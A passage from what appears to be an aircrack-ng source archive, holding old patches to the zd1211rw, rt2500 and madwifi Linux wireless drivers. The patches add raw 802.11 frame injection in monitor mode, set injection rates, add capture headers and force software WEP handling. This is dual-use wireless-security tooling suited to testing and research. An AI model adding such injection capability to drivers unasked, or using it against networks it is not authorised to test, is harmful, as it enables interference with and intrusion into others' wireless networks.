@@ r = fill_ctrlset(mac, txb, i); if (r) return r; - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) return r; } @@ -716,6 +733,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -729,7 +748,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -743,6 +764,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -834,7 +858,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } diff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2006-10-04 05:35:08.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-09 16:07:16.000000000 +0200 @@ -42,6 +42,7 @@ /* ZD1211B */ { USB_DEVICE(0x0ace, 0x1215), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x157e, 0x300d), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, {} }; @@ -805,6 +806,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-09 16:07:21.000000000 +0200 @@ -222,6 +222,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-beta3/patches/old/rt2500-cvs-20051008-prismheader.patch0000644000000000000000000001172010761053203023376 0ustar rootrootdiff -ur ../rt2500-cvs-20051008/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-20051008/Module/rtmp_data.c 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp_data.c 2005-11-05 01:20:02.000000000 +0100 @@ -50,6 +50,7 @@ 0, /* RATE_1 */ 1, /* RATE_2 */ 2, /* RATE_5_5 */ 3, /* RATE_11 */ // see BBP spec 11, /* RATE_6 */ 15, /* RATE_9 */ 10, /* RATE_12 */ 14, /* RATE_18 */ // see IEEE802.11a-1999 p.14 9, /* RATE_24 */ 13, /* RATE_36 */ 8, /* RATE_48 */ 12 /* RATE_54 */ }; // see IEEE802.11a-1999 p.14 +static UINT _11G_RATES[12] = { 0, 0, 0, 0, 6, 9, 12, 18, 24, 36, 48, 54 }; #define COLLECT_RX_ANTENNA_AVERAGE_RSSI(_pAd, _RxAnt, _rssi) \ { \ @@ -1132,9 +1133,61 @@ if (pAdapter->PortCfg.BssType == BSS_MONITOR) { struct sk_buff *skb; + wlan_ng_prism2_header *ph; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + // setup the wlan-ng prismheader + + if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) + pskb_expand_head(skb, sizeof(wlan_ng_prism2_header), 0, GFP_ATOMIC); + + ph = (wlan_ng_prism2_header *) + skb_push(skb, sizeof(wlan_ng_prism2_header)); + memset(ph, 0, sizeof(wlan_ng_prism2_header)); + + ph->msgcode = DIDmsg_lnxind_wlansniffrm; + ph->msglen = sizeof(wlan_ng_prism2_header); + strcpy(ph->devname, pAdapter->net_dev->name); + + ph->hosttime.did = DIDmsg_lnxind_wlansniffrm_hosttime; + ph->mactime.did = DIDmsg_lnxind_wlansniffrm_mactime; + ph->channel.did = DIDmsg_lnxind_wlansniffrm_channel; + ph->rssi.did = DIDmsg_lnxind_wlansniffrm_rssi; + ph->signal.did = DIDmsg_lnxind_wlansniffrm_signal; + ph->noise.did = DIDmsg_lnxind_wlansniffrm_noise; + ph->rate.did = DIDmsg_lnxind_wlansniffrm_rate; + ph->istx.did = DIDmsg_lnxind_wlansniffrm_istx; + ph->frmlen.did = DIDmsg_lnxind_wlansniffrm_frmlen; + + ph->hosttime.len = 4; + ph->mactime.len = 4; + ph->channel.len = 4; + ph->rssi.len = 4; + ph->signal.len = 4; + ph->noise.len = 4; + ph->rate.len = 4; + ph->istx.len = 4; + ph->frmlen.len = 4; + + ph->hosttime.data = jiffies; + ph->signal.data = pRxD->BBR1; + ph->channel.data = pAdapter->PortCfg.IbssConfig.Channel; + ph->noise.data = pAdapter->PortCfg.LastR17Value; + ph->rssi.data = ph->signal.data - ph->noise.data; + ph->frmlen.data = pRxD->DataByteCnt; + + if (pRxD->Ofdm == 1) + { + for (i = 4; i < 12; i++) + if (pRxD->BBR0 == PlcpSignal[i]) + ph->rate.data = _11G_RATES[i] * 2; + } + else + ph->rate.data = pRxD->BBR0 / 5; + + // end prismheader setup + skb->dev = pAdapter->net_dev; memcpy(skb_put(skb, pRxD->DataByteCnt), pData, pRxD->DataByteCnt); skb->mac.raw = skb->data; diff -ur ../rt2500-cvs-20051008/Module/rtmp.h ./Module/rtmp.h --- ../rt2500-cvs-20051008/Module/rtmp.h 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp.h 2005-10-09 00:10:27.000000000 +0200 @@ -2549,4 +2549,54 @@ IN ULONG DescriptorType); #endif +#ifndef _PRISMHEADER +#define _PRISMHEADER + +enum { + DIDmsg_lnxind_wlansniffrm = 0x00000044, + DIDmsg_lnxind_wlansniffrm_hosttime = 0x00010044, + DIDmsg_lnxind_wlansniffrm_mactime = 0x00020044, + DIDmsg_lnxind_wlansniffrm_channel = 0x00030044, + DIDmsg_lnxind_wlansniffrm_rssi = 0x00040044, + DIDmsg_lnxind_wlansniffrm_sq = 0x00050044, + DIDmsg_lnxind_wlansniffrm_signal = 0x00060044, + DIDmsg_lnxind_wlansniffrm_noise = 0x00070044, + DIDmsg_lnxind_wlansniffrm_rate = 0x00080044, + DIDmsg_lnxind_wlansniffrm_istx = 0x00090044, + DIDmsg_lnxind_wlansniffrm_frmlen = 0x000A0044 +}; +enum { + P80211ENUM_msgitem_status_no_value = 0x00 +}; +enum { + P80211ENUM_truth_false = 0x00, + P80211ENUM_truth_true = 0x01 +}; + +typedef struct { + u_int32_t did; + u_int16_t status; + u_int16_t len; + u_int32_t data; +} p80211item_uint32_t; + +typedef struct { + u_int32_t msgcode; + u_int32_t msglen; +#define WLAN_DEVNAMELEN_MAX 16 + u_int8_t devname[WLAN_DEVNAMELEN_MAX]; + p80211item_uint32_t hosttime; + p80211item_uint32_t mactime; + p80211item_uint32_t channel; + p80211item_uint32_t rssi; + p80211item_uint32_t sq; + p80211item_uint32_t signal; + p80211item_uint32_t noise; + p80211item_uint32_t rate; + p80211item_uint32_t istx; + p80211item_uint32_t frmlen; +} wlan_ng_prism2_header; + +#endif + #endif // __RTMP_H__ diff -ur ../rt2500-cvs-20051008/Module/rtmp_info.c ./Module/rtmp_info.c --- ../rt2500-cvs-20051008/Module/rtmp_info.c 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp_info.c 2005-10-09 00:07:51.000000000 +0200 @@ -1973,7 +1973,7 @@ { if (pAdapter->PortCfg.BssType == BSS_MONITOR) { - pAdapter->net_dev->type = 801; + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM RTMP_IO_WRITE32(pAdapter, RXCSR0, 0x4e); } else aircrack-ng-1.2-beta3/patches/old/madwifi-cvs-20050814.patch0000644000000000000000000000714510761053203021573 0ustar rootrootdiff -ur ../madwifi-cvs-20050814/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20050814/ath/if_ath.c 2005-08-08 02:35:12.000000000 +0200 +++ ./ath/if_ath.c 2005-08-14 21:31:07.000000000 +0200 @@ -1435,7 +1435,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1500,6 +1500,13 @@ } } + if (dot11Rate == 0 && ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } + wh = (struct ieee80211_frame *) skb->data; pktlen = skb->len + IEEE80211_CRC_LEN; hdrlen = sizeof(struct ieee80211_frame); diff -ur ../madwifi-cvs-20050814/Makefile.inc ./Makefile.inc --- ../madwifi-cvs-20050814/Makefile.inc 2005-07-14 02:35:49.000000000 +0200 +++ ./Makefile.inc 2005-08-15 10:31:16.000000000 +0200 @@ -174,7 +174,7 @@ # #ATH_RATE=$(shell find ath_rate/ -maxdepth 1 ! -name CVS ! -name ath_rate/ -type d) ifeq ($(ATH_RATE),) -ATH_RATE=ath_rate/sample +ATH_RATE=ath_rate/onoe endif INCS= -include ${obj}/${DEPTH}/include/compat.h -I${obj}/${DEPTH}/include diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_crypto.c ./net80211/ieee80211_crypto.c --- ../madwifi-cvs-20050814/net80211/ieee80211_crypto.c 2005-07-13 02:35:12.000000000 +0200 +++ ./net80211/ieee80211_crypto.c 2005-08-15 13:54:21.000000000 +0200 @@ -299,6 +299,10 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) + flags |= IEEE80211_KEY_SWCRYPT; + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20050814/net80211/ieee80211_var.h 2005-07-16 02:35:11.000000000 +0200 +++ ./net80211/ieee80211_var.h 2005-08-14 21:16:37.000000000 +0200 @@ -207,6 +207,8 @@ struct timer_list ic_radar_reanimate; /* reanimation timer after stopping all channels after redar detection */ u_int32_t ic_channelList[IEEE80211_CHAN_MAX]; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20050814/net80211/ieee80211_wireless.c 2005-08-07 02:35:13.000000000 +0200 +++ ./net80211/ieee80211_wireless.c 2005-08-14 21:15:51.000000000 +0200 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.2-beta3/patches/old/zd1211rw_inject_2.6.23.patch0000644000000000000000000001762012103567066022130 0ustar rootrootdiff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-12-04 00:07:04.000000000 +0100 @@ -164,8 +164,17 @@ static int reset_mode(struct zd_mac *mac) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); - u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + struct zd_ioreq32 ioreqs[] = { + { CR_RX_FILTER, STA_RX_FILTER }, + { CR_SNIFFER_ON, 0U }, + }; + + if (ieee->iw_mode == IW_MODE_MONITOR) { + ioreqs[0].value = 0xffffffff; + ioreqs[1].value = 0x1; + } + + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } int zd_mac_open(struct net_device *netdev) @@ -211,7 +220,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -778,6 +793,8 @@ struct ieee80211_hdr_4addr *hdr) { struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + struct ieee80211softmac_txrates *txrates = &softmac->txrates; u16 ftype = WLAN_FC_GET_TYPE(le16_to_cpu(hdr->frame_ctl)); u8 rate, zd_rate; int is_mgt = (ftype == IEEE80211_FTYPE_MGMT) != 0; @@ -787,10 +804,16 @@ int flags = 0; /* FIXME: 802.11a? */ - rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); - - if (short_preamble) - flags |= R2M_SHORT_PREAMBLE; + if(ieee->iw_mode == IW_MODE_MONITOR) + { + rate = txrates->default_rate; + } + else + { + rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); + if (short_preamble) + flags |= R2M_SHORT_PREAMBLE; + } zd_rate = rate_to_zd_rate(rate); cs->modulation = zd_rate_to_modulation(zd_rate, flags); @@ -800,6 +823,7 @@ struct ieee80211_hdr_4addr *header) { struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); unsigned int tx_length = le16_to_cpu(cs->tx_length); u16 fctl = le16_to_cpu(header->frame_ctl); u16 ftype = WLAN_FC_GET_TYPE(fctl); @@ -813,13 +837,21 @@ cs->control = 0; - /* First fragment */ - if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + if(ieee->iw_mode == IW_MODE_MONITOR) + { cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; - - /* Multicast */ - if (is_multicast_ether_addr(header->addr1)) cs->control |= ZD_CS_MULTICAST; + } + else + { + /* First fragment */ + if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; + + /* Multicast */ + if (is_multicast_ether_addr(header->addr1)) + cs->control |= ZD_CS_MULTICAST; + } /* PS-POLL */ if (ftype == IEEE80211_FTYPE_CTL && stype == IEEE80211_STYPE_PSPOLL) @@ -846,6 +878,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -869,7 +902,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); +/* if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else*/ + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -925,7 +961,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -945,6 +985,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -958,7 +1000,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -972,6 +1016,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1078,7 +1125,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)){ struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-12-04 00:07:33.000000000 +0100 @@ -811,6 +811,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-12-04 00:07:22.000000000 +0100 @@ -222,6 +222,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1457-1473_disable_retry_raw.patch0000644000000000000000000000710710761053203025436 0ustar rootrootdiff -Nurb madwifi-ng-r1457/ath/if_ath.c patched_madwifi-ng-r1457/ath/if_ath.c --- madwifi-ng-r1457/ath/if_ath.c 2006-02-25 00:24:30.000000000 +0100 +++ patched_madwifi-ng-r1457/ath/if_ath.c 2006-03-01 23:23:32.000000000 +0100 @@ -2166,6 +2166,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2180,9 +2181,12 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; - txrate = dot11_to_ratecode(sc, rt, ph->rate0); + txrate = dot11_to_ratecode(sc, rt, (ic->ic_opmode == IEEE80211_M_MONITOR) ? (ic->inject_rate / 500) : ph->rate0); power = ph->power > 60 ? 60 : ph->power; hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len + IEEE80211_CRC_LEN; diff -Nurb madwifi-ng-r1457/net80211/ieee80211_var.h patched_madwifi-ng-r1457/net80211/ieee80211_var.h --- madwifi-ng-r1457/net80211/ieee80211_var.h 2006-02-06 20:58:08.000000000 +0100 +++ patched_madwifi-ng-r1457/net80211/ieee80211_var.h 2006-03-01 23:24:38.000000000 +0100 @@ -138,6 +138,7 @@ u_int16_t ic_txpowlimit; /* global tx power limit */ u_int16_t ic_uapsdmaxtriggers; /* max triggers that could arrive */ u_int8_t ic_coverageclass; /* coverage class */ + int inject_rate; /* injection rate in Monitor mode */ /* * Channel state: diff -Nurb madwifi-ng-r1457/net80211/ieee80211_wireless.c patched_madwifi-ng-r1457/net80211/ieee80211_wireless.c --- madwifi-ng-r1457/net80211/ieee80211_wireless.c 2006-02-19 18:35:54.000000000 +0100 +++ patched_madwifi-ng-r1457/net80211/ieee80211_wireless.c 2006-03-01 23:30:34.000000000 +0100 @@ -346,6 +346,18 @@ struct ifmediareq imr; int rate, retv; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (vap->iv_media.ifm_cur == NULL) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -379,9 +391,15 @@ struct iw_param *rrq, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); vap->iv_media.ifm_status(vap->iv_dev, &imr); @@ -1051,6 +1069,7 @@ __u32 *mode, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int valid = 0; @@ -1060,8 +1079,10 @@ if (imr.ifm_active & IFM_IEEE80211_HOSTAP) valid = (*mode == IW_MODE_MASTER); #if WIRELESS_EXT >= 15 - else if (imr.ifm_active & IFM_IEEE80211_MONITOR) + else if (imr.ifm_active & IFM_IEEE80211_MONITOR) { valid = (*mode == IW_MODE_MONITOR); + ic->inject_rate = 5500; /* default = 5.5M CCK */ + } #endif else if (imr.ifm_active & IFM_IEEE80211_ADHOC) valid = (*mode == IW_MODE_ADHOC); aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1545.patch0000644000000000000000000000175710761053203021264 0ustar rootrootdiff -ur madwifi-ng-r1545/ath/if_ath.c patched_madwifi-ng-r1545/ath/if_ath.c --- madwifi-ng-r1545/ath/if_ath.c 2006-05-05 22:20:22.000000000 +0200 +++ patched_madwifi-ng-r1545/ath/if_ath.c 2006-05-10 19:02:00.000000000 +0200 @@ -2246,6 +2246,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/rt2500-cvs-2005112305.patch0000644000000000000000000000372510761053203021246 0ustar rootrootdiff -ur ../rt2500-cvs-2005112305/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-2005112305/Module/rtmp_data.c 2005-11-09 04:33:20.000000000 +0100 +++ ./Module/rtmp_data.c 2005-11-23 14:39:33.000000000 +0100 @@ -1137,6 +1137,9 @@ if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + goto rfmontx_80211_receive; + // setup the wlan-ng prismheader if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) @@ -1188,6 +1191,8 @@ // end prismheader setup + rfmontx_80211_receive: + skb->dev = pAdapter->net_dev; memcpy(skb_put(skb, pRxD->DataByteCnt), pData, pRxD->DataByteCnt); skb->mac.raw = skb->data; diff -ur ../rt2500-cvs-2005112305/Module/rtmp_info.c ./Module/rtmp_info.c --- ../rt2500-cvs-2005112305/Module/rtmp_info.c 2005-11-19 16:48:46.000000000 +0100 +++ ./Module/rtmp_info.c 2005-11-23 15:22:15.000000000 +0100 @@ -1973,7 +1973,11 @@ { if (pAdapter->PortCfg.BssType == BSS_MONITOR) { - pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + pAdapter->net_dev->type = 801; // ARPHRD_IEEE80211 + else + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + RTMP_IO_WRITE32(pAdapter, RXCSR0, 0x46); } else if (pAdapter->bAcceptPromiscuous == TRUE) @@ -3828,9 +3832,15 @@ value = *pvalue; if (value == 1) + { pAdapter->PortCfg.MallowRFMONTx = TRUE; + 